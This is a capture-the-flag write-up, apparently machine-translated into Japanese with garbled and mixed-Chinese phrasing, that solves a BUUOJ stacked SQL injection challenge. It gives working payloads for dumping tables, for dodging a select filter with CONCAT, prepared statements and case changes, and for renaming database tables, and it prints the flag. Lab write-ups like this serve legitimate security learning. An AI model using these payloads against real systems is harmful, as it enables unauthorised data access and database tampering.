件名アドレス:https://buuoj.cn/challenges
問題解決のアイデア
最初のステップ:タイトル、入力フィールドを入力します。タイトルから、SQLインジェクション攻撃であることがわかります。
ステップ2:SQLステートメントをテストする
入力1' or 1=1 #
すると、現在のテーブルのすべてのデータが表示されます
ステップ3:スタックインジェクションを使用してテーブル名を表示する
-
入力し
1';show tables;
てすべてのテーブルを表示すると、2つのテーブルがあります。1つは単語テーブルで、もう1つは1919810931114514テーブルです。
-
1';desc words#
単語テーブルの内容を表示するには、Enterキーを押します。idとdataの2つの列があります。
-
1919810931114514テーブルのコンテンツ
1';desc
を#
表示するには、1919810931114514と入力します。必要なフラグがあります。
ステップ4:選択を使用してフラグを取得する
1';select * from '1919810931114514';
取得テーブルにフラグを入力すると、傍受されていることがわかりました。傍受プロンプトから、select、updateなどの機能がフィルタリングされていることがわかりました。
ステップ5:事前コンパイルを使用して選択制限をバイパスする
1';set @sql = CONCAT('se','lect * from '1919810931114514';');prepare stmt from @sql;EXECUTE stmt;#
フラグを表示するにはEnterキーを押します。
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
見つかった、またはブロックされた
プロンプトを確認し、strstr関数がインターセプトに使用されていることを確認します。strstrでは大文字と小文字が区別されないため、今すぐ入力を大文字で開始するように変更することは、価格を上げた後
の1';Set @sql = CONCAT('se','lect * from '1919810931114514';');Prepare stmt from @sql;EXECUTE stmt;#
フラグと同等です。flag{89c5d790-b14d-4661-9fdf- 4aa4e41188ff}
アイデア2
3番目のステップでテーブルのフィールド情報を見ると、1' or 1=1 #
wordsテーブルのすべての情報が入力フィールドに表示されることがわかりました。デフォルトのステートメントの実行時にwordsテーブルが指定されていると推測されます。示されたメソッドを変更して、1919810931114514テーブルの名前を変更します。つまり、実行後に1' or 1=1 #
フラグを確認できます。
テーブル名を変更する
原理
修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
具体的な声明
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
クエリフラグ
入ると1' or 1=1 #
旗が見えます
スタック噴射の原理
名前が示すように積み上げ注入は、クエリのために一緒に文をスタックすることである。
原理は非常に単純ですmysql_multi_query()、同時に実行する複数のSQL文をサポートしていますつまり、1;分離し、重ねてSQL文を実行
例:select * from users;show databases;